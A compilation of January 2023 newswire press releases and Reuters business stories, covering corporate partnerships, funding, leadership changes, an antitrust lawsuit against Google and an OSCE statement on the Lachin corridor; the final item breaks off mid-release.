TruChoice's Chief Marketing Officer, Scott Wheeler, added, "A massive amount of preparation goes into this event each year. To see that culminate in two jam-packed days of sessions with our financial professionals fully engaged throughout is very satisfying and tells us that we hit the mark. Equally satisfying was watching those financial professionals interacting with each other both professionally and personally throughout the event. Climb is all about them and meeting their needs, which is part of our Tru to You philosophy."

Other notable takeaways from Climb '23 included the introduction of TruChoice's online Internal Rate of Return calculator and the announcement of three upcoming trips for financial professionals to Paradisus Los Cabos in June 2023, and Banff, Canada, and Dublin, Ireland, in 2024.

For more information about TruChoice events, or to learn more about TruChoice, visit www.TruChoiceFinancial.com, or call 800.237.0263. TruChoice Financial can also be followed on LinkedIn, Twitter, and Facebook, where followers can also access exclusive interviews with both Climb keynote speakers.

Contact Information: Chris Cowan Sr. Communications/Production Specialist [email protected] (678) 718-1951

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Source: TruChoice Financial Group, LLC
HOUSTON, Jan. 24, 2023 (GLOBE NEWSWIRE) -- As healthcare professionals continue to battle COVID, the flu, and other respiratory illnesses, hospitals nationwide are gaining on-demand access to therapeutic beds with the latest technology to help patients heal. US Med-Equip (USME) partnered with Turn Medical to help meet the extraordinary demand from hospitals turning to smarter options to save costs while providing the highest standard of patient care.

The partnership accelerates hospitals' access to Turn Medical's Pronova-O2 Automated Prone Therapy System, which enables a clinician to not only turn a patient into the prone (face-down) position and back into the supine position (on their backs) but also delivers bilateral continuous lateral rotation up to 65 degrees - all with the simple touch of a button. Research has shown that placing patients in pulmonary distress on their abdomens (prone) can help prevent complications from inflammation and fluid buildup in the lungs, poor oxygenation from the weight of the heart and abdominal organs, and pressure injuries on the skin from lying in one position too long, and ultimately result in quicker recovery and reduced mortality.

"It can take six to eight clinicians to physically place a patient in the prone position and just as many to return the patient to the supine position for CPR," Turn Medical CEO Tara Psencik said. "This labor-intensive process takes a toll on patients and clinicians alike, especially as more and more bedside clinicians having experience with the complex process of proning patients are leaving the healthcare practice altogether. Our nation is full of hospital systems reeling from staffing shortages and lack of bedside clinicians to care for the most critically ill patients, and this partnership with US Med-Equip, nationally recognized for supporting healthcare heroes, is a positive step forward. It brings together two customer- and patient-centric organizations offering innovative technology, logistical infrastructure, evidence-based solutions, and the resources necessary to increase the availability of automated prone therapy systems."

US Med-Equip partners with thousands of hospitals across the nation for the rental, sales, service and asset management of medical equipmentdiagnostic and clinical devices ranging from ventilators to therapeutic patient beds.

"As clinicians provide life-saving care, they count on the highest quality medical equipment to help their patients heal," US Med-Equip CEO Greg Salario said. "Our partnership with Turn Medical will offer hospitals greater access to specialized proning beds designed to help their patients heal without risking clinicians' bedside injuries."

Contact Information: Matthew Stanford Communications Specialist [email protected] 877-677-7767

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By Jyoti Narayan and Makiko Yamazaki

(Reuters) -Hedge fund Elliott Management Corp has built a "significant" stake in Japanese automotive battery component supplier Dai Nippon Printing Co Ltd (DNP), sources familiar with the matter told Reuters on Tuesday.

Elliott, one of the world's most powerful activist investors, has become one of the top three shareholders in DNP with a significant position, said the sources, who declined to be identified as the matter is private.

DNP, with a market value of 829 billion yen ($6.36 billion) is among hundreds of listed Japanese companies undervalued relative to their assets.

A DNP spokesperson said the company had confirmed Elliott's investment late last year, but declined to comment on details.

The Financial Times, which first reported the news, said Elliott now holds a stake just under 5% worth $300 million.

Elliott declined to comment.

DNP dominates the market for metal masks for making organic light emitting diode (OLED) display screens for smartphones. The masks are used to coat light-emitting materials at precise locations on panels.

The company holds a majority share in the market for pouches to contain lithium-ion in electric vehicle batteries. It is also involved in developing a new chipmaking technology called nano-imprinting.

To address chronic stock underperformance, the company has been reducing cross shareholdings, a controversial practice of business partners owning each others' shares. It plans to announce a new business strategy in March.

Elliott has invested in several technology-focused companies, including a multi-billion dollar investment in software firm Salesforce on Monday.

It recently won a board seat at Pinterest Inc when the company added Elliott portfolio manager Marc Steinberg as a director.

In Japan, it has invested in SoftBank Group Corp and has an executive on the board of Toshiba Corp.

($1 = 130.2700 yen)

(Reporting by Jyoti Narayan in Bengaluru and Makiko Yamazaki in Tokyo; Additional reporting by Kiyoshi Takenaka and Akriti Sharma; Editing by Eileen Soreng and Bernadette Baum)
FILE PHOTO: A logo of Google is seen at its exhibition space, at the Viva Technology conference dedicated to innovation and startups at Porte de Versailles exhibition center in Paris, France June 15, 2022. REUTERS/Benoit Tessier

By Diane Bartz and David Shepardson

WASHINGTON (Reuters) -The U.S. Justice Department accused Alphabet Inc's Google on Tuesday of abusing its dominance in digital advertising, threatening to dismantle a key business at the heart of one of Silicon Valley's most successful internet companies.

The government said Google should be forced to sell its ad manager suite, tackling a business that generated about 12 percent of Google's revenues in 2021, but also plays a vital role in the search engine and cloud company's overall sales.

"Google has used anticompetitive, exclusionary, and unlawful means to eliminate or severely diminish any threat to its dominance over digital advertising technologies," the antitrust complaint said.

Google, whose advertising business is responsible for about 80% of its revenue, said the government was "doubling down on a flawed argument that would slow innovation, raise advertising fees, and make it harder for thousands of small businesses and publishers to grow."

The federal government has said its Big Tech investigations and lawsuits are aimed at leveling the playing field for smaller rivals to a group of powerful companies that includes Amazon.com, Facebook owner Meta Platforms and Apple Inc.

"By suing Google for monopolizing advertising technology, the DOJ today aims at the heart of the internet giants power," said Charlotte Slaiman, competition policy director at Public Knowledge. "The complaint lays out the many anticompetitive strategies from Google that have held our internet ecosystem back."

Tuesday's lawsuit by the administration of President Joe Biden, a Democrat, follows a 2020 antitrust lawsuit brought against Google during the term of Donald Trump, a Republican.

The 2020 lawsuit alleged violations of antitrust law in how the company acquires or maintains its dominance with its monopoly in online search and is scheduled to go to trial in September.

EIGHT STATES IN LAWSUIT

Eight states joined Tuesday's lawsuit, including Google's home state of California.

California State Attorney General Rob Bonta said that Google's practices have "stifled creativity in a space where innovation is crucial."

Colorado Attorney General Phil Weiser said that Google's dominance had led to higher fees for advertisers and less money for publishers with ad space to offer. "We are taking action by filing this lawsuit to unwind Googles monopoly and restore competition to the digital advertising business," he said in a statement.

Google shares were down 1.9 percent on Tuesday.

In addition to its well-known search, which is free, Google makes revenue through its interlocking ad tech businesses. The government asked for the divestiture of the Google Ad Manager suite, including Google's ad exchange, AdX.

Google Ad Manager is a suite of tools including one that allows websites to offer advertising space for sale and an exchange that serves a marketplace that automatically matches advertisers with those publishers.

Advertisers and website publishers have complained that Google has not been transparent about where ad dollars go, specifically how much goes to publishers and how much to Google.

The lawsuit raises concerns about certain products in the ad tech stack, where publishers and advertisers use Google's tools to buy and sell ad space on other websites. That business was about $31.7 billion in 2021 or 12.3 percent of Googles total revenue. About 70% of that revenue goes to publishers.

An ad tech divestiture "may not be a game changer but it could be sneaky important to Google's ad targeting capability," said Paul Gallant with the Cowen Washington Research Group.

"It connects to all of Google's other businesses and ties them together. I think Google might be more concerned about losing ad tech down the road than people might think," Gallant said.

The company made a series of purchases, including DoubleClick in 2008 and AdMob in 2009, to help make it a dominant player in online advertising.

'PROJECT POIROT'

While Google remains the market leader by a long shot, its share of the U.S. digital ad revenue has been eroding, falling to 28.8% last year from 36.7% in 2016, according to Insider Intelligence.

The Justice Department asked for a jury to decide the case, which was filed in the U.S. District Court for the Eastern District of Virginia.

The lawsuit lays out a number of Google's attempts to dominate the advertising market.

The complaint discussed header bidding, which was a way that companies could bypass Google to bid on ad space on websites.

It lays out a series of projects including one dubbed "Project Poirot" named after Agatha Christies master detective, Hercule Poirot. The project "was designed to identify and respond effectively to ad exchanges that had adopted header bidding technology."

The 149-page complaint said Google doubled down after Project Poirot's initial success in manipulating its advertisers' spending to reduce competition from rival ad exchanges. Rivals AppNexus/Xandr lost 31% of DV360 advertiser spending, Rubicon would lose 22%, OpenX would lose 42%, and Pubmatic would lose 26%, the complaint said.

(Reporting by Diane Bartz and David Shepardson; additional reporting by Sheila Dang; editing by Chris Sanders and Grant McCool)
Demonstrable sensitivity and clinical usability of Cognetivity's screening and monitoring tool leaves the company well placed to support the dawning era of targeted therapies for neurodegenerative disease

Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - Cognetivity Neurosciences Ltd.(CSE: CGN) (OTCQB: CGNSF) (FSE: 1UB)(the "Company" or "Cognetivity"), a technology company that has created a unique brain health screening platform for use in medical, commercial and consumer environments, is pleased to announce that its flagship CognICA" tool has demonstrated effectiveness in tracking cognitive function during the treatment of Alzheimer's disease patients with the disease-modifying therapy Aduhelm" (aducanumab), manufactured by Biogen.

CognICA was used in clinical practice at Mediclinic Parkview Hospital in Dubai, UAE, to screen 108 patients coming into the neurology clinic for cognitive impairment. The tool was then used to monitor the cognition of the patients who received a diagnosis of Alzheimer's disease and were eligible for treatment with Aduhelm, a US Food and Drug Administration (FDA)-approved drug that directly targets amyloid beta pathology.

The results showed that patients who received Aduhelm did not show cognitive decline, with two patients showing a significant improvement in cognitive performance. They demonstrate the use of CognICA as a sensitive screening and monitoring tool to support detection of cognitive impairment and measure changes in cognitive performance in response to disease-modifying therapies for Alzheimer's.

As such, the tool is perfectly suited to support the dawning era of targeted therapies for neurodegenerative disease as evidenced by the FDA's approval, in the first week of 2023, of a second drug directly targeting amyloid beta pathology, Leqembi" (lecanemab). Early detection and diagnosis will be critical to the rapid, large-scale rollout of this family of therapeutics since they have been approved for early-stage disease, in the form of mild cognitive impairment (MCI) or mild dementia due to Alzheimer's.

Outstanding sensitivity to early-stage disease the ability to identify changes in the brain is CognICA's greatest strength, as demonstrated in thousands of patients and numerous peer-reviewed publications.

Professor Derk Krieger, Director of the Cognitive Health Clinic at Mediclinic Parkview, who has overseen the research, commented on the announcement: "These are extremely exciting results, given the wider global clinical and regulatory context. Powerful, life-changing drugs are coming to market, targeted towards early-stage cognitive decline. But so far, there has been a lack of tools offering high sensitivity and ease of large-scale rollout, sufficient to support mass testing for early-stage impairment. We have shown that CognICA can function as the missing link in the chain, enabling these therapies to be connected to the millions of people who can benefit from them as we need to be smart in choosing our patients for such treatment programs."

Dr. Sina Habibi, CEO of Cognetivity, also said: "We are delighted to have partnered with Prof Krieger and Mediclinic Parkview Hospital on this important piece of research. We are hugely excited, not just by the results themselves, of course, but by their implications of what CognICA can achieve on a global scale for millions of patients."

About Cognetivity Neurosciences Ltd.

Cognetivity is a technology company that has created a cognitive testing platform for use in medical, commercial and consumer environments. Cognetivity's ICA uses Artificial Intelligence and machine learning techniques to help detect the earliest signs of cognitive impairment by testing the performance of large areas of the brain. The ICA is currently available for clinical use in the USA, UK and Europe, with regulatory approval for other regions planned for 2022.

ON BEHALF OF THE BOARD

"Sina Habibi"

Sina Habibi

Chief Executive Officer and Director

FORWARD-LOOKING STATEMENTS:

Certain statements included in this news release constitute forward-looking information or statements (collectively, "forward-looking statements"), including those identified by the expressions "anticipate", "assume" "believe", "plan", "estimate", "expect", "intend", "may", "should" and similar expressions to the extent they relate to the Company or its management. The forward-looking statements are not historical facts but reflect current expectations regarding future results or events. This news release contains forward-looking statements. These forward-looking statements are not guarantees of future performance and involve risks, uncertainties and assumptions which are difficult to predict. Such statements are based on current expectations and various estimates, factors and assumptions and involve known and unknown risks, uncertainties and other factors. Such statements and information are based on numerous assumptions regarding present and future business strategies and the environment in which the Company will operate in the future. The Company assumes no responsibility to update or revise forward-looking information to reflect new events or circumstances unless required by law. Readers should not place undue reliance on the Company's forward-looking statements.

The Canadian Securities Exchange does not accept responsibility for the adequacy or accuracy of this release.

For further information: Please visit: www.cognetivity.com or contact: [email protected]; for media inquiries please contact [email protected]

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152225
The global blockchain consulting company moves to a modern office capacity in Vadodara, India. It also roots further growth in India and abroad.

Vadodara, Gujarat--(Newsfile Corp. - January 24, 2023) - VAP Group, a global blockchain consulting firm well known for using advanced technology and providing gratification to its clients, is pleased to announce its expansion and a major office move to a glorified and well-designed capacity in Vadodara, Gujarat. VAP Group has moved to an extensive area in Atladara with the address- Temenos Business Park, Old Padra Rd, near Akshar Chowk, Vadodara, Gujarat.

VAP Group Vadodara Office



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The total area of the capacity is 5300 square feet, and it is lavishly built to convey its outlook and determination to make a difference in the blockchain world. This recent move was done to hold 100 employees this year and conduct major meetings in their spacious conference rooms, dedicated meeting rooms, and comfortable work stations for each employee. The new space aims to provide its employees with a progressive working environment and encourage significant growth for the company. VAP Group also has branches in Mumbai, India and Dubai, UAE and will soon expand to other global locations.

The company's current employees are astonished by the new capacity and have candidly praised the peaceful neighborhood. The young and enthusiastic CEO of VAP Group, Mr. Vishal Parmar, was congratulated for the expansion and his perspective to always value his team's time and working habitat. Moreover, patrons are finding the new capacity convenient and easy to reach. The transportation options near Temenos Business Park include various possibilities and great connectivity within the city.

About VAP Group

VAP Group is a global blockchain consulting firm that supports and transforms blockchain businesses throughout the globe. They support emerging firms to operate at their peak efficiency and maximize blockchain's limitless potential. The company was founded in 2013 to assist businesses in making the most of the newest market innovations. By employing the best resources, subject-matter knowledge, and connections to key players in the industry, they offer blockchain business solutions for the upcoming generation. VAP Group has received praise nationally and internationally for its fantastic assistance, amazing team, and swift performance.

Contact: Nandita Derashri

VAP Group

Telephone: +91 (940) 910-9462

Email: [email protected]

Website: https://www.vapgroup.co/

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152149
Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - Wealth Minerals Ltd. (TSXV: WML) (OTCQB: WMLLF) (SSE: WMLCL) (FSE: EJZN) (the "Company" or "Wealth") today announced they will be attending the virtual Q1 Investor Summit.

Event: Q1 Investor Summit

Date: January 26th, 2023

Presentation: January 26th at 4:00 p.m. EST

Location: https://us06web.zoom.us/webinar/register/WN_hNoTpi9ITA2GIhmJggJiFg

The theme is 25 micro-cap companies with a catalyst and/or strong performance in the current market:

1x1s will be available for qualified investors

The conference is completely complimentary to qualified investors. Please register at Complimentary Investor Registration

About the Investor Summit

The Investor Summit is an exclusive, independent conference dedicated to connecting smallcap and microcap companies with qualified investors. The Q1 Investor Summit will take place virtually, featuring 30 companies and over 120 institutional, family office, and high net worth investors. Sectors Participating: Biotech, Communication Services, Consumer, Energy, Technology, Financial, Healthcare, Industrials, Materials, Real Estate. Contact: [email protected]

About Wealth Minerals Ltd.

Wealth is a mineral resource company with interests in Canada and Chile. The Company's focus is the acquisition and development of lithium projects in South America.

The Company opportunistically advances battery metal projects where it has a peer advantage in project selection and initial evaluation. Lithium market dynamics and a rapidly increasing metal price are the result of profound structural issues with the industry meeting anticipated future demand. Wealth is positioning itself to be a major beneficiary of this future mismatch of supply and demand. In parallel with lithium market dynamics, Wealth believes other battery metals will benefit from similar industry trends.

For further details on the Company readers are referred to the Company's website (www.wealthminerals.com) and its Canadian regulatory filings on SEDAR at www.sedar.com.

On Behalf of the Board of Directors of

WEALTH MINERALS LTD.

"Hendrik van Alphen"

Hendrik van Alphen

Chief Executive Officer

For further information, please contact:

Marla Ritchie, Michael Pound or Henk van Alphen

Phone: 604-331-0096 or 604-638-3886

For all Investor Relations inquiries, please contact:

John Liviakis

Liviakis Financial Communications Inc.

Phone: 415-389-4670

For all Public Relations inquiries, please contact:

Nancy Thompson

Vorticom, Inc.

Office: 212-532-2208 | Mobile: 917-371-4053

Follow Us:

Facebook - https://www.facebook.com/WealthMineralsLtd

Linkedin - https://www.linkedin.com/company/wealth-minerals

Twitter - https://www.twitter.com/WealthMinerals

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release, which has been prepared by management.

Cautionary Note Regarding Forward-Looking Statements

This press release contains forward-looking statements and forward-looking information (collectively, "forward-looking statements") within the meaning of applicable Canadian and US securities legislation. All statements, other than statements of historical fact, included herein including, without limitation, statements regarding the anticipated content, commencement, timing and cost of exploration programs, anticipated exploration program results, the discovery and delineation of mineral deposits/resources/reserves, the Company's expectation that it will be able to enter into agreements to acquire interests in additional mineral projects, and the anticipated business plans and timing of future activities of the Company, are forward-looking statements. Although the Company believes that such statements are reasonable, it can give no assurance that such expectations will prove to be correct. Forward-looking statements are typically identified by words such as: believe, expect, anticipate, intend, estimate, postulate and similar expressions, or are those, which, by their nature, refer to future events. The Company cautions investors that any forward-looking statements by the Company are not guarantees of future results or performance, and that actual results may differ materially from those in forward-looking statements as a result of various factors, including, but not limited to, the state of the financial markets for the Company's equity securities, the state of the commodity markets generally, variations in the nature, quality and quantity of any mineral deposits that may be located, variations in the market price of any mineral products the Company may produce or plan to produce, the inability of the Company to obtain any necessary permits, consents or authorizations required, including TSXV acceptance, for its planned activities, the inability of the Company to produce minerals from its properties successfully or profitably, to continue its projected growth, to raise the necessary capital or to be fully able to implement its business strategies, and other risks and uncertainties disclosed in the Company's latest interim Management Discussion and Analysis and filed with certain securities commissions in Canada. All of the Company's Canadian public disclosure filings may be accessed via www.sedar.com and readers are urged to review these materials, including the technical reports filed with respect to the Company's mineral properties.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152249
Alarmed by the ongoing developments in the Lachin corridor, Vice-President Pere Joan Pons (Spain), OSCE PA Special Representative on South Caucasus, expressed concern over the humanitarian impact on the lives of local Armenian residents in the region and calls for the resumption of a constructive dialogue between Armenia and Azerbaijan.

January 24, 2023, 16:35 OSCE PA Special Representative on South Caucasus urges resumption of dialogue to address situation in Lachin corridor

STEPANAKERT, JANUARY 24, ARTSAKHPRESS: I have been closely following the reports regarding ongoing developments surrounding the Lachin corridor and I am highly concerned over the reported impact on the daily lives of the local residents in the area, as the access to essential goods and services has been limited now for several weeks. While I commend the efforts, particularly of the ICRC, in alleviating the effects of the ongoing protest on the Lachin road, I appeal to all sides to intensify their efforts in ensuring that the situation is addressed in a swift manner, Pons said in a statement issued by the OSCE PA International Secretariat.

Vice-President Pons also echoed OSCE Chairman-in-Office Bujar Osmani in his call upon all sides to ease tensions and engage in a constructive and productive dialogue, aimed at building trust and normalizing relations between Armenia and Azerbaijan.

Whenever political disagreements persist and negotiations might be at a deadlock, our governments should not be callous and resort to methods that leave our citizens victim to our inability to reach political consensus, Pons stressed. We should also remember that the longer this dispute remains unresolved, that it does not just negatively impact the fragile peace process, but also undermines the foundation for a future peaceful coexistence in the region.

The Special Representative recalled that with the OSCE, the tools to overcome the current crisis are available, yet it is up to the sides to make a full use of them, as well as to other governments and parliaments, to support this process in an unbiased manner and ensure the advancement of constructive negotiations, based on the principles of the Helsinki Final Act. The OSCE Parliamentary Assembly stands ready to support this process, Pons underlined, wherever needed and deemed useful.
ZURICH, Jan. 24, 2023 /PRNewswire/ -- Amcor plc (NYSE: AMCR; ASX: AMC) will announce its Half Year 2023 results for the six months ended 31 December 2022 after the US market closes on Tuesday 7 February 2023.

A conference call and webcast to discuss the results will be held at 5.30pm US Eastern Standard Time on Tuesday 7 February 2023 / 9.30am Australian Eastern Daylight Time on Wednesday 8 February 2023. For those wishing to participate in the call please use the following dial-in numbers:

US and Canada: 888 440 4149 (toll-free) 646 960 0661 (local)

Australia: 1800 519 630 (toll-free) 02 9133 7103 (local)

United Kingdom: 0800 358 0970 (toll-free) 020 3433 3846 (local)

Hong Kong: +852 3002 3410 (local)

Singapore: +65 3159 5133 (local)

All other countries: +1 646 960 0661 (this is not a toll-free number)

Conference ID 8080870

Access to the webcast and supporting materials will be available via the Investors section of Amcor's website (www.amcor.com/investors). A webcast replay will be available at the conclusion of the call.

ENDS

For further information please contact:

Investors: Tracey Whitehead Global Head of Investor Relations Amcor +61 3 9226 9028 / +1 224-478-5790 [email protected] Damien BirdVice President Investor Relations Amcor +61 3 9226 9070[email protected] Damon WrightVice President Investor Relations Amcor + 1 224 313 7141 / +1 949 202 9682[email protected] Media  Europe Ernesto DuranHead of Global Communications Amcor +41 78 698 69 40[email protected] Media  Australia James Strong Citadel-MAGNUS +61 448 881 174[email protected] Media  North America Daniel Yunger KekstCNC +1 212 521 4879 [email protected]

About AmcorAmcor is a global leader in developing and producing responsible packaging solutions for food, beverage, pharmaceutical, medical, home- and personal-care, and other products. Amcor works with leading companies around the world to protect their products and the people who rely on them, differentiate brands, and improve supply chains through a range of flexible and rigid packaging, specialty cartons, closures, and services. The company is focused on making packaging that is increasingly lighter weight, recyclable and reusable, and made using an increasing amount of recycled content. In fiscal 2022, around 44,000 Amcor people generated US$15 billion in annual sales from operations that span 220 locations in 43 countries. NYSE: AMCR; ASX: AMC

www.amcor.com I LinkedIn I Facebook I Twitter I YouTube

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SOURCE Amcor
SAN ANTONIO, Jan. 24, 2023 /PRNewswire/ -- A new partnership between Boeing [NYSE: BA] and the Kelly Heritage Foundation - an educational nonprofit organization affiliated with Port San Antonio - will expand STEM learning and workforce development across South Texas. The seven-year partnership and $2.3 million investment will strengthen the region's STEM talent and enhance programming supported by the foundation, including those developed by the San Antonio Museum of Science and Technology (SAMSAT), headquartered at the Port's tech campus.

"Boeing is a crown jewel of American business, and I'm honored that Texas is a key part of their company. For nearly 25 years, San Antonio has been home to an aircraft maintenance and modernization hub, where work on the C-17, F-15, and F/A-18 takes place. Port San Antonio now houses 80 employers and 16,000 workers and has a $6 billion impact on the local economy. Boeing Center at Tech Port will introduce young Texans to the advanced technologies that will drive the workforce of tomorrow," said Texas Gov. Greg Abbott during a ceremony held today at SAMSAT announcing the partnership.

For more than two decades, Boeing's aircraft maintenance and modernization operation has been growing at the Port, furthering its support of an array of military and commercial aircraft.

"This partnership and investment in San Antonio reflect Boeing's commitment to this community and to supporting U.S. and allied military services," said Stephanie Pope, CEO of Boeing Global Services. "We deliver best-in-class products and services for commercial and government customers, and we know a vibrant STEM curriculum will deepen the bench of local talent we hope to hire in the future. Our workforce continues to grow as we expand our site, and we look forward to our bright future in San Antonio."

The Kelly Heritage Foundation's support of programming will focus on developing skills that are key to the aerospace and space exploration industries, including robotics, artificial intelligence, 3-D printing, virtual reality, cybersecurity, visual sensors and more.

As part of its continued role in the community, Boeing also entered into a separate seven-year agreement to sponsor the Port's 130,000-square foot multi-purpose exhibition center now known as the Boeing Center at Tech Port

"From the start, our goal has been to find innovative ways to support San Antonio's development into one of the premier technology communities in the nation," said Port President and CEO Jim Perschbach. "The Boeing Center at Tech Port significantly furthers our momentum by adding exciting and engaging aerospace-focused learning experiences. We're thankful that a leading global name in aerospace like Boeing is further growing its deep roots in our community."

About Port San Antonio:The Port is a vast 1,900-acre technology innovation campus. It is home to a growing array of employersincluding globally renowned industry names and a growing number of locally headquartered startupsfocused in advancing new technologies in aerospace, cybersecurity, defense, space exploration, robotics and other advanced technologies. Organizations at the Port directly employ over 16,000 people from across the region, yielding a regional economic impact of over $5.6 billion annually. In 2022, the Port became a member of the Association of University Research Parks (AURP).

About Boeing:As a leading global aerospace company, Boeing develops, manufactures and services commercial airplanes, defense products and space systems for customers in more than 150 countries. As a top U.S. exporter, the company leverages the talents of a global supplier base to advance economic opportunity, sustainability and community impact. Within Texas, Boeing employs more than 5,730 employees and has an estimated economic impact of $1.6 billion. Boeing's diverse team is committed to innovating for the future and living the company's core values of safety, quality and integrity. Join our team and find your purpose at boeing.com/careers.

Contact Ben DavisBoeing Communications405-694-9600[email protected]

Jason Capeheart Boeing Communications703-209-5560[email protected]

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SOURCE Boeing
Ulrik Bo Larsen, Founder of Falcon.io and CEO of Brandwatch since 2021, hands over the reins as Tran is elevated from President and Chief Commercial Officer

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Today Brandwatch, the leading enterprise social suite, announced that its Chief Executive Officer, Ulrik Bo Larsen, has moved into an advisory role at the company. Larsen has transitioned the leadership of Brandwatch to Cali Tran who is promoted to the role of President and CEO. Tran was previously the President and Chief Commercial Officer at Brandwatch and is now tasked with steering the company through an important new phase of growth.

Larsen took the helm of Brandwatch in June 2021 after it was acquired by Cision. He led the merger between Brandwatch's award-winning consumer intelligence platform with Falcon.io's world-class social media management capabilities. In addition, Larsen oversaw Brandwatch's acquisition of Paladin, a social influencer marketing solution, in March 2022 and Brandwatch's admission into an inaugural elevated marketing partnership with TikTok.

Before his time as President and CEO at Brandwatch, Larsen held the same position at Falcon.io, a company he founded in 2010. Falcon.io was acquired by Cision in January 2019 and merged with Brandwatch in 2022. The position that Brandwatch now finds itself in is the vision Larsen and Brandwatch Founder Giles Palmer established in 2017. With their joint vision realized, Ulrik is now joining Palmer as a Brandwatch advisor where both will continue to contribute to Brandwatch's success and future.

"A company's founder is special, and that's doubly true when we're talking about the caliber of founders like Ulrik and Giles," said Brandon Crawley, interim CEO of Cision and Managing Director at Platinum Equity, which acquired Cision in 2020. "They built stellar products and teams, and we are happy to keep them close so Brandwatch can continue to benefit from their expertise. I expect a seamless transition as Cali is a proven leader who has shown he knows how to transform companies and bring them to new heights. His appointment is very exciting news for our customers, employees and everyone in Brandwatch's universe."

Tran has a lot of experience building high performing teams and driving growth for profitable technology-enabled, global companies. Before joining Brandwatch, Tran held executive leadership positions at a number of leading marketing technology companies such Centerfield Media, Vericast, and Valassis either as President, Chief Commercial Officer or CEO.

Earlier in his career, Tran led digital transformation initiatives for large, multinational marketing and business services companies at MacAndrews & Forbes and invested in hyper-growth marketing technology enabled start-ups North Bridge Venture Partners. Tran was also a part of the seed stage team at Ancestry and a Co-Founder of Agilix Labs.

For more information about Brandwatch, visit Brandwatch.com, or email us at [email protected].

About Brandwatch

Brandwatch is the world's premier social suite, empowering over 5,000 of the world's most admired companies to understand and engage with customers at the speed of social.

Combining pioneering, AI-enriched digital consumer intelligence with industry-leading social media management tools, Brandwatch offers a complementary suite of specialized, best-in-class products and services that support intelligently connected workflows. With Brandwatch, brands and agencies can adapt and thrive in today's fast moving digital world by making smarter decisions and executing data-driven social strategies at every customer touchpoint.

Operating and serving clients the world over, Brandwatch has 15 offices across the globe and more than 1,000 employees worldwide. Brandwatch is a Cision Company.

www.brandwatch.com | @Brandwatch | press office | contact

Contact:Kellan Terry347-382-0668[email protected]

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SOURCE Brandwatch
CarMax's wholesale business sold more than 700,000 vehicles during fiscal year 2022

DALLAS, Jan. 24, 2023 /PRNewswire/ -- CarMax, the nation's largest retailer of used cars and one of the largest used-car wholesalers, is partnering with UVeye to provide AI-enhanced condition reports for buyers of vehicles sold at auction.

CarMax has been a strategic investor in UVeye since 2021. The companies have been working together on innovative solutions to improve used-car auction processes. CarMax's wholesale business sold more than 700,000 vehicles during the past fiscal year.

CarMax is implementing UVeye's industry-first inspection technology for its wholesale business operations under a licensing agreement with UVeye.

UVeye systems use artificial intelligence, machine-learning, sensor-fusion and high-speed-camera systems and can spot issues ranging from worn tires and sheet metal-problems to underbody damage.

CarMax moved its auction sales online in 2020. In a remote-first world, capturing quality imagery is critical to providing buyers with a maximum amount of information about each vehicle. The company already has installed UVeye systems at several wholesale locations and plans to roll out the UVeye technology throughout parts of its wholesale business.

CarMax will be using UVeye vehicle scans to check vehicle exteriors, undercarriage components and tires to quickly produce online user-friendly reports that include high-resolution photos. Systems in use at CarMax also will have the ability to detect issues such as frame damage, missing parts and fluid leaks, as well as brake and exhaust-system problems.

"CarMax's purpose is to drive integrity by being honest and transparent in every interaction," said Dave Unice, CarMax vice president of Merchandising Operations. "Our partnership with UVeye allows us to further this mission by providing dealers with highly detailed imagery on auction vehicles online.

"We've been impressed with UVeye's technology and we believe it will help us maximize efficiencies in our wholesale auction business. We look forward to further implementing this best-in-class solution across our network and exploring new opportunities and potential uses with UVeye."

UVeye CEO and Co-founder Amir Hever added that "UVeye is on a mission to standardize automated inspection processes throughout the automotive industry. Our program with CarMax represents a significant step towards meeting that goal.

"It's a true privilege to have CarMax on this journey with us both as an investor and as a strategic customer. We will continue to work together on providing the best customer experience possible."

Hever noted that CarMax will have a presence in UVeye's exhibit (Booth #6239) at the annual NADA (National Automotive Dealers Associations) conference on January 26-29 in Dallas, Texas.

About CarMax

CarMax, the nation's largest retailer of used autos, revolutionized the automotive retail industry by driving integrity, honesty and transparency in every interaction. The company offers a truly personalized experience with the option for customers to do as much, or as little, online and in-store as they want.

CarMax also provides a variety of vehicle delivery methods, including home delivery, express pickup and appointments in its stores. During the fiscal year ended February 28, 2022, CarMax sold approximately 924,000 used vehicles and 706,000 wholesale vehicles at its auctions. In addition, CarMax Auto Finance originated more than $9 billion in receivables during fiscal 2022, adding to its nearly $16 billion portfolio.

CarMax has more than 230 stores, more than 30,000 associates, and is proud to have been recognized for 18 consecutive years as one of the Fortune 100 Best Companies to Work For. CarMax is committed to making a positive impact on people, communities and the environment. Learn more in the 2022 Responsibility Report. For more information, visit www.carmax.com.

About UVeye

Co-founded by Amir and Ohad Hever in 2016, UVeye has created the world's first comprehensive and fully automated suite of vehicle-inspection systems. The company's drive-through systems utilize a unique combination of proprietary algorithms, cloud architecture, artificial intelligence, machine learning and sensor-fusion technologies. Its systems can detect within seconds external or mechanical flaws and identify anomalies, modifications or foreign objects from under and from any side of a vehicle.

UVeye's scanning processes complete within seconds and can be used throughout a vehicle's lifecycle. The company's technology originally was developed for the security industry to detect weapons and contraband. It now is used in the auto industry to detect a wide variety of quality issues, including oil leaks, paint scratches, tire problems, brake-line damage and exhaust-system issues.

In addition to CarMax, the company's investor group includes General Motors, Hyundai Motors, Toyota Tsusho, Volvo Cars, W.R.Berkley, FIT Ventures, Meitav Dash Investments, Menora Mivtachim Holdings and Y.D. More Investments.

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SOURCE UVeye
Funds will be used to drive growth, product innovation and international expansion for the leading on-demand pay provider

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- DailyPay, a leading financial technology company, today announced it has secured $260 million of capital to fuel growth domestically, expand internationally and further invest in product innovation. The funding is divided between revolving credit facility capacity provided by Barclays and Angelo Gordon, and new term loan funding from SVB Capital and a fund managed by Neuberger Berman.

DailyPay first announced a $300 million revolving credit facility from Barclays in March 2022. The additional revolving credit facility capacity ($100 million provided by Barclays and $60 million from Angelo Gordon) provides DailyPay with more capital to service its ever-growing roster of clients. The $100 million in term loan funding will be invested to fuel DailyPay's continued product innovation and to accelerate growth.

